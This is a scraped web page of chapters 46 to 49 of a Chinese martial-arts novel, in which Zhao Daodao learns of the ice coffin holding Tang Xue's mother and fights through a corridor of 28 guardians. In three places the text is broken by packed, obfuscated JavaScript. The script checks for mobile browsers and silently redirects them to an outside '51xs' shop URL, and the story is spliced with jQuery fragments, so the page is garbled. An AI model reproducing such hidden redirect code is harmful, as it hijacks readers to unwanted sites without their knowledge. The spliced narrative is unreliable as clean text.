$(''#content'').append('' 。 她猛地惊醒,一时不知自己身在何处。 赵刀刀扶着有些昏沉的头,看向四周。 没有窗,只有一扇门,门上垂着暗红色的旧门帘。 手下有冰凉的硬物,赵刀刀一惊,才发现那是她的刀。 顾倾城把她放出来了?这是哪?她睡了多久? 赵刀刀握着黑刀出门,屏气凝神。 空荡破败的庙堂内,莲座上还有佛像曾经留下的印记,这是顾倾城迷晕她的那个破庙。 她没有低头,用另一只手确认身上物件,张三的钱袋还在,信还在,剑缰也在。 赵刀刀松了口气,看来这不是捉弄,顾倾城是真的放了她。 她记得顾倾城说有人来赎她,她还不知道那人是谁。 哒哒哒。 破庙外传来的脚步声。 赵刀刀贴在门边,突然出刀拦下来人。 “谁?!” “停停停!别动手!” 明亮的光线中,黑刀下那紧张惊吓的到惨白的脸竟是周向晚。 周向晚激动的抓住赵刀刀的胳膊,“赵刀刀,你终于回来了!” 赵刀刀被周向晚带到了唐家在柳城的分部。 一路上周向晚说了这几天的事。 原来那天她追着张三一去就消失了十四天,第一天唐雪他们还没觉得有什么,后来迟迟未见,他们便开始找她,唐雪动用了唐家在柳州的人手,毫无进展,甚至在找她的途中,不知怎么的,唐雪也时不时失去音信。 “她之前就看起来很不对劲。”周向晚拧紧眉头,“今早我去找她的时候她不在,只有一封信留着,信里说你会出现在破庙,让我去找你。” “你这些天去哪了?”周向晚问。 “我去见了顾倾城。” “顾倾城?”周向晚一愣,“在峦岳派遇到的那个红衣姑娘?” “是她。” “你怎么会去见她,还一去那么久?” “一言难尽,她也知道剑缰的事。”赵刀刀摇摇头,不欲在此时多说,她走到门边往外看,“你们现在都住在这?” 唐家在柳州的分局不大,赵刀刀过来的路上观察过,这里的人手不足十人,只是个小分部。 “嗯,唐雪带我来的,你消失之后,她说客栈不安全,我们就都来了。” 周向晚眉宇间带着担忧。“唐二怎么还没回来……” “唐二?”这名字有些耳熟,赵刀刀模糊想起了唐家堡时送行的一人,他和唐雪很亲近,“从唐家堡过来的人就是他?” “嗯,我走的时候已经和唐二说过了,他应该去找唐雪了,怎么这会儿还没回来……” “唐雪住在哪间屋子?” 周向晚走到她身侧,“那个。” “旁边是唐二?” “你怎么知道?” “我猜的,他们关系很好。” 赵刀刀摩挲刀柄,唐二在唐家堡和唐雪很亲近,如果派来的是普通弟子便罢了,派他过来想必是为了什么要事,她隐约觉得这事应该和唐雪有关。 但她和唐雪分开那天唐雪还完全不知道谁要来,所以这事唐雪是之后才知道的,“唐雪有说他为什么过来吗?” “他……”一道声音打断了周向晚的回答。 “我是为了大小姐而来。” 47. 冰棺 “我是为了大小姐而来。” 唐二走近他们。 他看向赵刀刀,“赵姑娘,你已经见过顾神医了吗?” “神医?!”周向晚和赵刀刀异口同声。 赵刀刀知道顾倾城是个医生,却从不知道她是个神医。“你确定没有认错人?” 唐二刚得知这事时也很惊讶,他不只是为了顾倾城的身份惊讶,更为他现在才得知而惊讶。 唐家在柳城的人是不多,但这么一桩柳城人尽皆知的事竟然直到今天才被他们知道,其中的松懈散漫不必多说,这里的人该换一批了。 “这事不会有错。”唐二边说边往身后看了一眼,确认周围无人,走进屋中将门闭上继续道,“因为冰家的玄冰棺不会在第二人手中。” “等等,”赵刀刀试图理清情况,“玄冰棺是什么?棺材?” “是。” “做什么用的?” “保尸身不腐。” 赵刀刀点头,“所以顾倾城有一个很厉害的棺材,就成了神医?” 唐二犹豫片刻,凝重道,“赵少侠,周少侠,你们是唐雪重要的朋友,我接下来告诉你们的话,你们千万不能告诉别人。” 他的神色十分认真,赵刀刀挺直了背点点头。 周向晚亦收敛了神色。 “冰家人丁稀薄,是唐雪的母家,传到师母这一代时,已只剩她一人,师母一直没有提起过冰棺,直到最后将冰棺送给顾神医时才告诉堡主这件事。”唐二道,“这么多年,玄冰棺一直没有现世,下落不明,我们曾以为神医一家因为至宝遭遇了不测,没想到他们的后代还活着。” 赵刀刀问,“你怎么确定那就是玄冰棺,你亲眼见到了?” “未曾。”唐二握紧了拳头,“见到的人是唐雪。” 赵刀刀迟迟没有说话,她被这个消息冲击到了。 难怪顾倾城对唐雪的态度总是带着古怪的刻意,她定是早就知道这层关系,只有唐雪被蒙在鼓里。 唐二留足了时间给他们消化。 “你来就是为了这件事?”赵刀刀从震惊里回过神来,问。 “并非此事,这事我也是刚刚才知道,但现在看来,这两件事或许本就有所关联。”唐二道,“我是为了一封信过来的,堡主收到了一封奇怪的信,派人与柳城传信后迟迟等不到回音,才让我跑这一趟。” “什么信?” 唐二摇头,“交给唐雪了。” 赵刀刀有些挫败,“所以现在的问题又回到了唐雪,她去哪了?你没有找到她吗?” “我没有跟上她。”唐二道。 “你见到她了?” “嗯,我试着跟上她,被甩开了。”唐二如实道,“她不想让一个人跟着的时候,是没人能跟上她的。” 赵刀刀若有所感的点头,在柳城门口时,她第一次见识到唐雪身上暗器的威力,假如那样的东西她不止一个,的确任何人都不能随意跟着她。但想到此处,赵刀刀又有些安心,唐二不能轻易跟上她,别人同样不能轻易为难她。 “我们只能在这里等她吗,她往什么方向去了?” 唐二神色不明,“一片深林,方向难辨。” “赵姑娘。”唐二忽然正色道,“唐雪说她今天会回来的,但我劝不住她,如果可以,希望你能跟她说说,别再去那个地方了。” 赵刀刀点头应下。 唐二说完便离开了,唐家在这里的事务还有很多,他比预期的要留久一些。 周向晚道,“难怪她几次回来都一言不发,我找她她也不理。” 他感慨道,“她这会儿可能只听得下你的话了。” 赵刀刀道,“我会试试。” 唐雪帮了她一路,如果她遇到难关,赵刀刀希望自己也能成为她的支柱。 只是她隐隐觉得这些事之间还有什么联系,疑点重重,顾倾城找她是为了剑的主人,放她又是为了什么,莫非唐雪真的交了赎金赎她? 一切还得等见了唐雪才能知道。 等赵刀刀练刀到深夜时,唐雪才迟迟归来,她一言不发,目不斜视,径直走进屋子,关上房门。 她的样子看起来和平时没有两样,赵刀刀却觉得这是她第一次见到如此低落沮丧的唐雪。 她的眸光不再明亮,脚步不再轻快,整个人都笼罩着衰败的感觉,像一朵快要凋零的花。 不知什么事才能将她伤成这样。 赵刀刀走过去敲了敲门。 “周向晚?我已经睡了。” “是我。” 里面的声音消失了。 赵刀刀听到悉悉索索的动静,“不用起,我进来了。” 她推门而入。 一股很浓的熏香味铺面而来,赵刀刀从未在唐雪的住处闻到过这么浓的香味。 唐雪没有走到门边,在离床不远的位置站着,她还穿着外衣,表情出乎预料的沉静,只有头发凌乱了些。 赵刀刀道,“你不用起来。” 唐雪沉默着点点头,回到床上抱膝坐着。 赵刀刀搬了凳子坐在床边。 “恩人回来了,有什么事?” 赵刀刀伸手拿掉她发梢上沾着的一截枯草,“是你从顾倾城那把我救出来的吗,你给了她什么?” 唐雪在听到这个名字的瞬间眸光一紧,她摇摇头,“没什么。” “她没有为难你?” 唐雪摇头。“夜深了,恩人也该睡觉了。是不是唐二和你们说了什么,没事的,我没那么软弱,不用担心。” 赵刀刀看出了她的疲惫,但她觉得自己不该离开。 “我想知道。”她第一次这样明确地对另一个人寻根究底。 “唐雪,你曾经说,我有什么事一定要告诉你,现在你呢,你发生了什么事,能和我讲讲吗。” 唐雪神色微动,咬着下唇没有说话。 赵刀刀微微笑了下,柔声道,“你或许不知道,我是个很固执的人,你不告诉我,我会一直跟着你,我不是唐二,没那么容易甩开。” 唐雪听着赵刀刀这番另类的要挟,极不明显地勾了下嘴角,即使那神色依然悲伤,她好歹是笑了。 “恩人的头疼好些了么?”她忽然问。 赵刀刀一愣,“头疼?” 唐雪道,“顾神医告诉我的,她说你身上有旧疾未愈,问我你是不是常常难以安眠,醒后又神智恍惚。” 赵刀刀这才意识到今天从破庙中醒来时的确没有熟悉的头昏脑胀。 顾倾城留她……是为了治病? 唐雪道,“我说我不知道,她就说,估计恩人这病已有很久,要是不及时医治,终有一天连清醒时候也会受到影响,所以留你在她家修养几天,等时候到了再送信让我来寻你,她还说,怕你性情刚烈,不愿平白受人恩惠,她想了个法子让你心安理得看病,让我先不要急着联系你。” 这话似乎对的上,但赵刀刀不信。至少不全信。 “来找我的是周向晚。”赵刀刀道,“唐雪,不要瞒我。” 如果真的没什么,为什么唐雪会失去行踪,现在又如此低沉? 唐雪强撑起一个笑,“恩人,我说的都是真话。” 赵刀刀直勾勾盯着她,“我想看看唐二带来的那封信。” 唐雪一愣,“那信没什么……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292059|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “唐雪,我没有和你玩笑,如果你不告诉我,我会一直跟着你,直到我自己搞明白为止。”她指着地上直白道,“我今天就睡在这里。” 唐雪沉默片刻叹了口气,露出一个凄切的笑,“连恩人都瞒不住,看来我真的不擅长说谎啊。” 她从怀中抽出一张被保存的很好的白色手帕。“这就是那封信的内容。” 赵刀刀接过,只是个普通的白色手帕,她展开,看到手帕一角绣着一朵蓝色的小巧可爱的雪花。 她见过这个图案,赵刀刀问,“你的手帕和飞镖上都有一朵蓝色雪花,有什么含义吗?” “这个印记……一开始是我母亲留下的,飞镖上的是我刻的。”一旦开了口,似乎接下来的话也不是那么困难。 “我很小的时候她就不在了。”唐雪垂着眼道,“爹爹很少提起母亲,关于她的事,都是我缠了爹很久才知道的。她留下的东西只有一件小衣和一本书,我就是在书和衣服上看到了这个印记。” 衣服是为她缝制的小衣,书是给她留下的话本。 衣服上绣着一朵朵小雪花,蓝色的堆成一堆。 书封面一角画着雪花,里面有许多故事和冰灵随手一记的想法。 其中有一句唐雪还记得很清楚,“冰中之灵为雪,雪雪,是我最宝贝的孩子。” 她虽然从未见过冰灵,却从这为数不多的物件上感受到了她的爱。 自那时起,唐雪有了一个秘密:世人都道冬雪寒冷刺骨,却只有她知道,雪花是暖的。 有时梦中魇住,她总能感觉到一只温柔的手轻轻拂开她的眉头,一道柔柔的声音轻轻叫她”雪雪”,噩梦便不攻自破,变成美梦。 赵刀刀道:“你很爱她。” “嗯。”唐雪憋了十几天的情绪,忽然一泻而出,“我想见她……” “我想见她一面!” 她捂着脸,眨眼间泣不成声。 泪水沾湿了袖口衣襟。 哭泣令唐雪呼吸困难,赵刀刀沉默着将手帕放在唐雪怀中,站起身轻拍她的背。 一个逝去多年的亲人,一具能保尸身不腐的冰棺,赵刀刀恍然明白了什么。 唐雪的哭声渐渐止住,只剩抽噎难以控制。 赵刀刀问,“你母亲……在顾倾城那里?” “恩人知道了。”唐雪平复神色,“是,顾倾城说她的尸身在玄冰棺里。” 刚才泪水顺着双手流进衣袖,唐雪缩了缩手。 赵刀刀忽然将她的手腕握住,不由分说地推起唐雪的衣袖。 “恩人?!”唐雪一惊,却无法抽回手。 衣袖下纱布缠绕,血迹隐隐渗出。 赵刀刀从刚进来就觉得这间屋子香味太浓烈,现在她终于知道了原因,她冷声问,“她对你做了什么?” 唐雪终于能将手收回,她略带些不自在地将袖子放下,“她没对我做什么……她只是按照冰家的传统,为我母亲设了二十八道关卡守住尸身。” “谁在守关?” “她请了最顶尖的高手,还找到了冰家仍在世上的长辈。”唐雪的语气越来越低,“是我无能,不能见她一面,冰家的人就快带她走了……太快了,爹爹那边也来不及过来……” “他们很厉害么?”赵刀刀问。 “他们很……恩人是想?”唐雪突然抬起头来。 赵刀刀没有说话,她的沉默已经作答。 唐雪苦笑了下,“恩人,其实……我比你更早就想过这个可能了。” “但是你帮了我,或许就见不到你要找的那个人了。”她眼中充满哀伤,坚定地摇头道,“恩人,我不想叫你为难。” 48. 闯关 冰家的人再留五天便要离开。 他们和顾倾城说好,之后便要把冰灵的遗体带回家族,按照族中仪式安葬归天。 冰家人对顾倾城的感激之情无以言表,没想到顾家历代皆是有情有义之人,收下玄冰棺后也从未得鱼忘筌,竟然暗中帮冰灵收敛尸身,一直保管到他们千里找来。 如此情谊,他们此生不忘。 冰家族长道:“顾小神医,真的不用我们再留久些吗?还有什么我们能做的,你尽管说便是。” 顾倾城道,“不用,路途遥远,你们按照定下的时间出发,顺利的话应该能赶在冬天之前归家,该留的人已经留了,剩下的人……留得久了,柳城有我在倒没什么,路上变数太大。” “小神医可否指点一二?”族长虚心请教,他们历代生活在武洲边缘,对消息的掌握落后太多,很多事传过去已经结束。 当年靠着唐家和顾家还能得知一二,冰灵失去音信后,便成了盲人瞎子,耗费十多年才凑出一只像样的小队,再次来到柳城。 一路跋山涉水,若不是运气好碰上顾家后人,不知何时才能见到故人,得知冰灵消息。 顾倾城的眸光落在族长脸上,冰家人太久没来过武洲中部,族长年事已高,对现状的了解却未必比得上柳城稚童。“来武洲的人变多了。” 她点到即止,提醒道,“不要再去打听消息,我会将你们留下的人送到唐家,该知道的你们自然会知道。” “多谢指点。”族长道。 他看向冰棺,目光柔和下来,“顾小神医,那个姑娘真的很像冰灵,和冰灵小时候简直是一个模子刻出来的。” 顾倾城冷笑一声,“是吗?可惜唐家人无情无义,我们好心帮他保下女儿,他却对我家赶尽杀绝。” 族长沉默片刻道,“小神医,此事……或许另有隐情。” “不会有隐情。”顾倾城道,“我亲眼见到他们的暗器机关,不是唐家还能是谁?” 族长叹息道,“若此事当真,等我们到了唐家也会为你讨个公道。” “不……” 族长打断她,“小神医,我知道你用不着我们,但你帮了冰家太多,这是我们的一点心意,请收下吧。” 顾倾城沉默着点了头。 族长握着手杖,快到唐雪往日来的时候了,他忍不住道,“顾小神医,上一代的恩怨还有唐堡主可以算,依我之见……唐雪是个好孩子,她日日来此,已经证明真心,再这样下去,她或许经不起再来一次了,能否……” 顾倾城讽刺道,“她生来就过的锦衣玉食,称心如意,没人敢让她有半点不快,现在不过受了这点儿苦,就叫你这个局外人也为她不忍了吗?” 族长叹了口气,他看得分明,唐雪受伤时顾倾城脸上也没有痛快之色,顾小神医年少有为,同样不该承受如此重负,一切都是造化弄人啊。 “族长,如果你不打算替她受苦,就不要再提此事。”顾倾城冷声道。 …… 唐家分局。 赵刀刀将剑缰和信一一放入盒中。 她对不住老板娘,此事之后,如果顾倾城真的不肯让她见那个人,她会亲自回晚镇找老板娘说明一切。 赵刀刀将木盒合上,放在柜中收好。 她放空心神,将袖口脚腕的系带紧了紧,磕了磕脚后跟,拿起黑刀出门。 天蒙蒙亮,路上没有人。 赵刀刀跟着唐雪走进深林。 她们站在一条长长的走廊门前。 极目远望,走廊的尽头就是冰棺,二十八人分列在长廊左右。 唐雪担忧地看向赵刀刀。 赵刀刀一言不发走进长廊。 她穿着自己那件蓝色锈金线的衣裳,拿着一把黑刀。 唐雪只能看见她的背影,指尖掐入手心,只觉此情此景恍若初见。 第一天第一人。 赵刀刀与之行礼。 起身后两人相顾无言片刻,谁也没动,互相说了一句“请”,这才出招。 这人使剑横冲而来,赵刀刀手腕下沉,刀锋竖起自下而上挡住长剑,轻轻一抖,那人感到手腕一阵酸麻,再反手下压,长剑脱手掉在地上。 “承让。” 第二人。 二人不多言,点头示意。 剑尚在鞘中,守阵人突然向前一步,手握成拳向腹部直攻,赵刀刀点地跃起两丈之高,飞腿踢去,那人急忙侧头闪开,在地上打了个滚,赵刀刀见他并不拔剑,也将刀斜掷在地。 地面上有一层细土,细土下是坚硬的石头,黑刀与地相碰发出一声巨响,顺着掷出的角度斜插入地半尺有余,晃了两晃,发出嗡嗡几声。 赵刀刀撤步立稳劈出一掌,那人见她抛刀也领略其意,微微一笑,双臂交叉将赵刀刀手腕架住,接下一掌。 没成想赵刀刀手上力气不小,一接之下突然苦了脸色,整个人被压低三寸,急忙撤力退开,道:“小姑娘有两下子!” 赵刀刀微微提了下嘴角,两个箭步上前,突然横扫他下盘,激起一片灰尘,模糊了视线。 那人还没看清,本以为赵刀刀矮身贴地,却突然见她从尘土中高高跃下,一脚踩在他右肩,肩上一沉,就翻身落到他身后,侧头去看,只见赵刀刀手成掌悬在他脖子一寸之外。 “厉害!厉害!” 赵刀刀道一声“承让”,走到黑刀旁拔起地上的刀,朝下一位走去。 第三人。 前两场战斗几乎就在他眼前发生,他见赵刀刀这样轻松,不过片刻就撂倒两人,明白唐雪这次带来的人或许真有破阵的本事。 他打起精神,率先出招。 长剑速点而来,剑尖银光闪闪,如星光点点,甚是炫目美丽。 赵刀刀凝神分辨,见剑招之中剑尖突然冲胸口而来,侧身闪避,用刀挡住第一下攻击后握紧刀柄,刷刷冲剑身削出几刀。 这一招不像正统刀法,反而像是做菜切片,但出乎意料,这古怪的招式却将剑刃频频阻隔,刀身贴着剑刃,每一招都接的恰到好处。 那人面上露出赞赏之意,感慨道:“姑娘好刀法!我这招‘雨雪洋洋’乃是冰家家传剑法,使剑如天寒地冻中雨雪纷纷而下,令人目不暇接,我使这招以来,还是第一次见人这样接招,好似剑尖指向全部了然于胸,可姑娘又不是我冰家人,请教了,这又是什么招数?” 赵刀刀在这里鲜少对人提及自己刀法来路,但这长廊众人和她所想不同,此时渐渐尽兴,她心中舒畅,便抿了抿唇,好声好气回答道:“我这一招也和雪有关。招数本名叫做‘墨洒向飞’,因为我觉得笔墨到底有人控势,轨迹可循,学成之后我自己起了个名叫做‘飞雪茫茫’,这小名和你的剑招名字挺像,只是我使的是重刀,要是想用刀尖去点,那就太费事了,所以重在‘削’字,以削代点,你要是看我的刀尖,说不得也像是墨雪在空中飞呢?” “好刀法!好名字!姑娘年纪轻轻,便有这样的领悟成就,看来冰家的确落后太多,早该出来见见世面了!” 赵刀刀道:“我能接下你的剑并非剑法之错,只是我的刀比你的剑更快罢了。” 赵刀刀本是为了帮唐雪破阵才与之相斗,但遇上好对手也是人生幸事,她并不拿乔。她想起自己当时学刀,与黑刀一起琢磨种种招式,便是他们一起给这招改了名儿。 黑刀还在沉睡,如果他醒着,想必也是同样心意。 此时沉浸过招之中,赵刀刀心中激动,恍然发觉能有这样与人交手的机会,实属来之不易。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305883|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许不只是帮唐雪,她也帮了自己一把。 二人再过十来招,兵器相接乒乓不绝于耳,在长长的走廊里不断回响,除了沉浸在剑招里的人,都微微皱眉,被扰乱了心神。 天彻底亮了,长夜已过。 赵刀刀的体力飞快消耗着,她的话越来越少,脸上也不再有多余的神色。 从一开始的过了一位立刻面对下一位到趁着间隙恢复体力,她学会了许多从未想过的技法,试着在掌握对手实力后趁着过招寻找机会回转内力,赢得片刻喘息。 到第一天深夜,已破八人。 第二天。 来者有强有弱,规律难以捉摸。 第十人是冰家一位长老。 他脸上虽布满皱纹,长着白须,眼中却蕴含精光,赵刀刀只看一眼,便心神一震,明白面对这人自己绝不能有钻空子的念头。 她脸上的汗水涔涔而下,头发松散了些,碎发被汗粘在额上,衣摆已破了些口子。她毫不在意,一双眸子越来越亮。 已经过去一天一夜,凌晨之际她停下了,见周围无人阻止,便靠在旁边站着休息了会儿。此时正是精力回复后第一战,她的手很快热起来。 以赵刀刀的眼光,这位老人算得上是一流高手。 他出剑,剑在空中划过一个半圆指到身前,剑身为剑气所动,在空中颤颤一抖。 赵刀刀后退两步,避开后招,动手还击。 她使一招‘横刀扫雪’,扫向前方。 这招要用刀平平扫过身前一周,极快,极平,不可有半点偏差。 赵刀刀第一次练这招时,正是大雪天,她要快到掀起一圈飞雪而徐徐不落,平到与地势紧紧相依,只有这样方能使刀势始终凌厉,不至于顺风转落,但凡有半点偏移都会断了刀意,被自己打断招数。 虽上手极难,但她始终没有放弃,用了整整两年将这招练得淋漓尽致。 冰家长老被凌厉的刀意惊到,看她使得这样轻巧,招式却有板有眼,目露赞赏之意。 惊奇道:“老夫生平从未见过这样的刀法,后生可畏,后生可畏!” 他突然手腕后缩,刺出一剑。 这一招直直刺向赵刀刀眼间,快要逼近时,却忽然一转剑势刺她胸腹。 原来刺眼那一剑只是虚招。 因常人见此剑为避锋芒必定闭眼后退闪避,武器上举,露出胸前破绽,所以这一剑实为攻击胸膛。 不想赵刀刀睁大双眼,像是瞎了眼也要看清剑招一般,竟丝毫不管不避,眼中剑影未消,手上已动,她轻巧一抖,刀锋撞上剑刃,手腕一旋,本是反手握刀,却突然转作正手,绞起长剑将剑压在刀下。 这一下仿佛刀已随她心意所动,在空中停滞片刻也不落下,实在已到了顶尖高手境界。 转眼二人已过几百余招。 有时冰长老占据上风,赵刀刀只好用身法闪避,有时又只见刀锋横削疾刺,长剑连连格挡。 还有时二人剑后出拳,刀后还掌,砰砰撞击又推开,看的人眼花缭乱。 赵刀刀不敢有一丝杂念,到后来,她已忘了身在何处,冰长老剑招所指,全被赵刀刀从古怪方位在空中拦下。 长老渐渐落了下风,撤步闪身好似要退,赵刀刀向前跟去,却突然长剑低扫! 赵刀刀一惊,随即反手竖刀,用刀尖压剑,剑尖触地,她轻跃一步,足尖立于剑尖之上,冰长老尚有力气举起长剑,手臂一紧,只见赵刀刀立于剑上,身轻如燕,身法灵动飘逸就像蝴蝶落于花间,好似要在剑尖起舞,正暗自惊奇,赵刀刀却提起嘴角,突然旋身横踩,剑霎时如压巨石,张长老手臂酸痛,剑啪的一声被踩在地上。 “到我了。” 赵刀刀忽然听到一道似曾相识的声音。 49. 惊心 耳边忽然传来啸啸风声,随着一把巨剑飞出,第十一人应声而至。 赵刀刀避开剑锋,像向掠去,与来人擦身而过。 一个照面的工夫,配着刚刚那把巨剑,赵刀刀认出了这个浓眉压眼的蒙面男人——他是柳城门口那帮刺客的首领。 他与赵刀刀错身,跟上巨剑的速度双手握上剑柄,硬是靠一身蛮力将飞旋的巨剑牵住制止,重重砸在地上。 廊道内一声巨响盘旋不止,震得所有人身心发麻。 赵刀刀心神一震,出声质问,“你怎么会在这儿?” 男人拿着刀转身,声音从面巾下发出,他沉声道,“你为什么出现在这里,我就为什么出现在这里。” 廊道的尽头是宝物玄冰棺,进来的人或是为了见玄冰棺而来,或是为了见棺里的人而来,但这些人和事都与赵刀刀毫无瓜葛,她只是为了帮唐雪而来。 赵刀刀执刀而立,看向他漆黑的双眼,“你是为了冰家?还是顾倾城?” 黑衣人没有直接回答,道,“只是帮为了一位朋友。” 赵刀刀皱眉,“他们就这么狠心,不愿让唐雪见自己母亲一面?” 黑衣人冷哼一声,笑道,“你帮你的,我帮我的,难道还有高下对错之分?你前面几关可没拿出这种话来压人,现在是决心认输了,说这种话?” 赵刀刀与他交手过,知道自己靠着轻功与他缠斗才有一丝机会,如果正面对上,不在那种玄妙状态下,她很难占据上风。 她心中低咒一声,眼神却更坚毅,“我不会认输。” 她施展身法,黑刀疾攻而去,“那就来试试!” 刀剑相交,两人对对方实力都有估量,知道必须全力而为才能胜出,都打起了全部精神。 黑衣人靠着重剑压制对手,赵刀刀一改先前凌厉刀势,用步法轻功与他周旋,招式力求迅捷快速,专攻他手腕脚腕等处。 唐雪站在不远处,也认出了那把巨剑,心狠狠地揪起来。 巨剑横削,赵刀刀弯腰避过,以手撑地翻身后跃而起,迅速用黑刀挡在胸前,巨剑擦着刀锋划出一串火花,剑和人之间只隔着一把黑刀的距离,剑气锋利至极,在她脸侧划出一道伤口。 赵刀刀感觉脸颊一凉,她咧了下嘴角,动了动脸上肌肉,却丝毫感觉不到疼痛。 伤没伤到?这人是认真还是留手? 二人再斗几个回合,飞沙走石四溅,铿锵声不绝于耳,赵刀刀拧着眉,抛开心中杂念。 唐雪心中焦急,看得满手是汗,急着想要上前,却被冰家人拦下,“唐雪,不要着急。” “你们昨天没有这人的!”她昨天虽然在此阵前就败了,但她看得清楚,当时守阵的分明是个冰家的年轻人! 冰家长老摇摇头,叹气道,“唐雪姑娘,你也换了人。” 唐雪瞪着眼睛看他一眼,又转回战场,低声道,“你们欺负人……” 如果早知恩人上场会碰上这个人,她不会让赵刀刀替她出战的。 赵刀刀以步法闪避和黑刀招架为主,不断寻求时机攻他薄弱之处,大部分进攻被盾牌一样的巨剑挡下,汗水从她的发间如雨洒下,她咬牙拉开距离喘息。 若是她的刀法能更上一层或许就不会打得这样艰难。 打斗间她隐隐摸到那夜的玄妙境界,只是并不持久,短短一瞬又被重剑惊神回来。 越是急输的越快,赵刀刀强迫自己冷静心神。 城门口她曾有过一线希望,此人并非不可战胜。 她下定决心,蹬着墙飞出,舞动黑刀,将黑刀刀法的柔展现到极致,不再一味闪避,耗着力气与黑衣人对拼。 二人力气都不小,旁人只是凭听着想象,只有他们能真正感受到彼此一击之下的震撼,震颤顺着刀剑传来,震得手腕酥麻不止。 黑衣人忽然发现赵刀刀的招式变了,她忽然放弃了先前对决的风格,此时出刀,每招之间全无关联,并非随心所至,顺势而为,而是有意出人意料之外的打法。 黑刀还是那把黑刀,人却像换了个人! 而在这看似凌乱的招式之间,似乎有什么东西牵连着,他忍不住问,“这是什么招式?” 赵刀刀已经放手一搏,强行使出更上一层的刀法,无暇顾及其他。 她从未在这种紧要关头以打代练,实在是不得不临时抱佛脚,只有出奇,才有制胜之机。 黑刀刀法第三层讲究的正是一个“奇”字,她功力不够,无法奇的行云流水,只能绞尽脑汁出其不意。 幸好这里的人都不熟悉她的刀法,不然连这个机会她也很难找到。 唐雪眼看着恩人像换了个人一样,招法陌生至极,却隐隐有转败为胜之机,心也跟着高悬起来。 电光石火之间,赵刀刀拼出一刀被巨剑格挡下,她忽然一个踉跄,手中黑刀晃了两晃。 黑衣人眸光一动,就在此时撩剑而起。 众人心下惋惜。 赵刀刀毕竟已和十人过招才轮到黑衣人,而黑衣人只等着她一人,这场悬殊的试炼她能撑到现在已经足够出人意料,即使败了也没人会觉得她不够强。 只是可惜她已过了十关,看不到她继续拼下去。 如果后面的人能与黑衣人调换位置,说不定她还能再走远些。 唐雪咬紧牙关还不肯放弃,她坚持的毫无理由,她只是不希望赵刀刀因自己输给这人。 两枚飞镖悄无声息地落在她的指尖。 赵刀刀已经被逼到退无可退。 她单手握刀,刀被剑慢慢压下来。 剑锋慢慢逼近鼻尖。 人群中已有叹息。 唐雪却忽然惊呼一声,尖叫之下剑锋失了力道疾速坠下。 赵刀刀在地上翻滚避开。 巨剑砸在地上。 赵刀刀脸上沾了泥土,浑身筋肉酸痛,却丝毫不损她此刻的得意。 她看着黑衣人捂住手腕,吐了口血笑哑声道,“我赢了。” 长廊安静地仿佛只剩下她一人。 她慢慢爬起,扶着墙走到一旁,艰难地盘膝坐下,“下一位,你得等等我了。” 说着她已经闭上眼睛开始休息。 黑衣人拔下手腕下的飞镖,毫不在意手上鲜血落地,一言不发捡起地上的巨剑走向长廊尽头。 那里站着一袭红衣。 “我欠你的已经还清了。”他将飞镖递给顾倾城。 “嗯。” 顾倾城接下飞镖,用手抹去上面的血迹,看到一朵雪花刻印其上。 “没毒。”她淡淡道。 “我知道,幸好她这枚是唐雪的,如果是你的飞镖,我不敢接。” 顾倾城冷笑一声,看着飞镖上的雪花印记沉默不言。 “我记得你在峦岳派对她用过飞镖。”此刻他们互不相欠,他说话渐渐随意起来。“那会你一定想不到她倒下了,却将这招学会了。” “滚。”顾倾城道。 黑衣人沉默片刻,忽然正色道,“你知道这样的人有多不易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318350|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她和你很像,都是孤身一人走到今天。” “你打她的时候怎么不说。” 黑衣人有些无谓地一笑,“那时我欠你,自然向着你,现在不欠了,我得公正些。” “滚。”顾倾城又说。 “你总是这样伤人。”黑衣人摇头,他本来要走的,但赵刀刀还要继续,他便也不打算走了。“你说过这二十八关足够公正,我留下来看看也不会影响什么。” 赵刀刀就这样一觉睡到了第三天。 经过和黑衣人一战,她仿佛脱胎换骨,不再拘泥于快刀,而是将其他招式也融于自己刀法中。 一开始这样,她古怪的新刀法冲破了原有的缜密,显得不伦不类,有些僵硬,但渐渐在不停地打磨中变得熟练自如起来。 虽然比不上她的快刀,却也有了几分威力。 战局愈加惨烈。 走廊中有如雷声轰轰,炸响在每个人耳边。 这是赵刀刀所学刀法之中的一招——‘霹雳惊雷’。 这一刀要刀如闪电,破空有声,又要刀比声更快,当对手听到声音,刀却在相反之处斜劈而上。如雷声轰轰,闪电击地,威严霸道,摄人心魄。 这一招极废精力,除了练刀之时,赵刀刀平时甚少使出,但此刻不加约束,随心挥刀,她已分不清自己使得到底是哪一招了。 唐雪看的心惊。 顾倾城也心惊万分。 她与冰家人和唐雪站在里头,看着赵刀刀一点一点打进来,赵刀刀比她想得更强,也更疯狂。 